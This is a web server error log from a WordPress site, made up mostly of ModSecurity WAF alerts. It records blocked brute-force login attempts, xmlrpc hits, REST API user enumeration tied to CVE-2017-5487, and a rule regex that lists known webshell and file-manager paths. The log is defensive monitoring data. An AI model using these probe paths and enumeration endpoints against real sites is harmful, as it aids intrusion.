[Sat Nov 15 20:16:17.197171 2025] [:error] [pid 20346:tid 20368] [client 45.138.16.215:55609] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aRhvEZ7hsydZdIoVTltKwQAAAxM"]
[Sat Nov 15 20:30:11.704665 2025] [:error] [pid 19961:tid 20001] [client 178.33.40.189:44000] [client 178.33.40.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.40.189, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRhyUzar7Si-84EApVSGTgAAAcg"]
[Sat Nov 15 20:49:52.101860 2025] [:error] [pid 19961:tid 20010] [client 43.166.237.57:57724] [client 43.166.237.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRh28Dar7Si-84EApVSIrgAAAdE"]
[Sat Nov 15 22:23:13.541682 2025] [:error] [pid 20313:tid 20325] [client 203.33.203.148:44405] [client 203.33.203.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRiM0RI9DXIgPadBLUarAQAAAsk"]
[Sat Nov 15 23:48:52.557804 2025] [:error] [pid 20313:tid 20323] [client 43.157.170.126:50018] [client 43.157.170.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRig5BI9DXIgPadBLUazdgAAAsc"]
[Sun Nov 16 03:16:02.986400 2025] [autoindex:error] [pid 27805:tid 27924] [client 20.2.83.141:56765] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Nov 16 05:05:48.659928 2025] [:error] [pid 52469:tid 52493] [client 182.42.104.32:36390] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRjrLE6HaXpHeEZ98Z0BrwAAABA"]
[Sun Nov 16 07:31:57.737188 2025] [:error] [pid 52469:tid 52491] [client 85.194.44.225:33834] [client 85.194.44.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.194.44.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRkNbU6HaXpHeEZ98Z0ioAAAAA4"]
[Sun Nov 16 07:32:01.678567 2025] [:error] [pid 52563:tid 52583] [client 85.194.44.225:41808] [client 85.194.44.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.194.44.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRkNcc-l3ey-hVJ5AusTMwAAANE"], referer: http://vetstars.com.au/wp-login.php
[Sun Nov 16 07:32:05.833833 2025] [:error] [pid 52469:tid 52499] [client 85.194.44.225:41810] [client 85.194.44.225] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aRkNdU6HaXpHeEZ98Z0iqAAAABY"], referer: http://vetstars.com.au/wp-login.php
[Sun Nov 16 07:32:06.964834 2025] [:error] [pid 52563:tid 52571] [client 85.194.44.225:41824] [client 85.194.44.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.194.44.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRkNds-l3ey-hVJ5AusTVAAAAMU"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F
[Sun Nov 16 11:27:30.623589 2025] [:error] [pid 52470:tid 52512] [client 182.42.111.156:46592] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRlEokg9mXF2ZFFtj1UdMwAAAEc"]
[Sun Nov 16 11:52:59.316694 2025] [proxy_fcgi:error] [pid 52470:tid 52505] [client 57.141.14.75:60670] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2660:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Sun Nov 16 12:33:37.964930 2025] [proxy_fcgi:error] [pid 34164:tid 34183] [client 103.4.122.14:39978] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Nov 16 12:33:49.077210 2025] [proxy_fcgi:error] [pid 34164:tid 34175] [client 103.4.122.14:40098] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Nov 16 12:43:22.717662 2025] [proxy_fcgi:error] [pid 20556:tid 20574] [client 114.119.145.22:21069] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2659:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/ufa10.aspx
[Sun Nov 16 13:32:56.926627 2025] [proxy_fcgi:error] [pid 20556:tid 20570] [client 114.119.150.38:47427] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2659:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx
[Sun Nov 16 15:13:27.293595 2025] [:error] [pid 52563:tid 52587] [client 43.130.14.245:49788] [client 43.130.14.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRl5l8-l3ey-hVJ5AuuHIgAAANU"]
[Sun Nov 16 17:59:25.439814 2025] [autoindex:error] [pid 34165:tid 34218] [client 155.94.163.116:64063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Nov 16 18:22:48.444480 2025] [:error] [pid 34164:tid 34185] [client 175.6.217.4:36306] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRml-O93ccBCLD8-Q4ZOxwAAAZE"]
[Sun Nov 16 19:13:29.044310 2025] [proxy_fcgi:error] [pid 34227:tid 34253] [client 114.119.138.32:34353] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2662:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88.aspx
[Sun Nov 16 22:32:01.723858 2025] [:error] [pid 34133:tid 34148] [client 78.47.98.55:29416] [client 78.47.98.55] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "57.141.14.21_bb694759cd2c22a01c1316c1c32e166b75850636"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/index.php"] [unique_id "aRngXPSAB3iwXVRY0gG6YAAAAU0"], referer: https://vetstars.com.au/
[Mon Nov 17 08:31:49.643422 2025] [:error] [pid 40548:tid 40563] [client 185.117.225.199:36278] [client 185.117.225.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.199, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRps9QM_PykfYnxh-j_zvAAAAQ0"]
[Mon Nov 17 08:32:00.751394 2025] [:error] [pid 39451:tid 39530] [client 185.117.225.199:45304] [client 185.117.225.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.199, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRptAOfgkqXTS0SO3fCg5QAAAJY"]
[Mon Nov 17 09:00:52.182947 2025] [proxy_fcgi:error] [pid 65302:tid 65308] [client 66.249.64.65:55169] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2666:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Tue Nov 18 00:42:28.186828 2025] [:error] [pid 40562:tid 40636] [client 45.149.173.201:57386] [client 45.149.173.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.149.173.201, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRtQdB18kaCmPuHE4a_-OQAAAU0"]
[Tue Nov 18 00:42:30.942743 2025] [:error] [pid 40562:tid 40637] [client 45.149.173.201:57386] [client 45.149.173.201] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aRtQdh18kaCmPuHE4a_-QAAAAU4"]
[Tue Nov 18 00:42:33.858261 2025] [:error] [pid 40562:tid 40631] [client 45.149.173.201:57386] [client 45.149.173.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.149.173.201, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRtQeR18kaCmPuHE4a_-RgAAAUg"]
[Tue Nov 18 03:34:16.445084 2025] [:error] [pid 11968:tid 12028] [client 124.226.222.66:38358] [client 124.226.222.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRt4uCXd29tbwxi5Fj25CQAAAFY"]
[Tue Nov 18 08:22:09.917188 2025] [:error] [pid 9935:tid 9941] [client 185.102.115.93:57612] [client 185.102.115.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aRu8MQWOMXsrZFRF6sj2rwAAAYQ"]
[Tue Nov 18 09:58:10.411239 2025] [authz_core:error] [pid 28635:tid 28659] [client 85.17.61.121:34212] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/google-analytics-premium/readme.txt
[Tue Nov 18 09:58:18.492858 2025] [authz_core:error] [pid 61393:tid 61460] [client 85.17.61.121:33462] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/google-analytics-premium/readme.txt
[Tue Nov 18 15:37:37.096189 2025] [proxy_fcgi:error] [pid 44560:tid 44589] [client 66.249.64.64:58614] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2681:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Tue Nov 18 16:18:33.958497 2025] [:error] [pid 44560:tid 44579] [client 36.41.75.167:39131] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRwr2QnbP7etF3q5-5tplAAAAMg"]
[Tue Nov 18 17:45:50.211103 2025] [autoindex:error] [pid 1387:tid 1412] [client 84.247.191.22:51028] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 18 18:16:24.299895 2025] [proxy_fcgi:error] [pid 1387:tid 1391] [client 114.119.150.38:47641] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1763460983.6396410465240478515625', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('wp_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_optionPHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 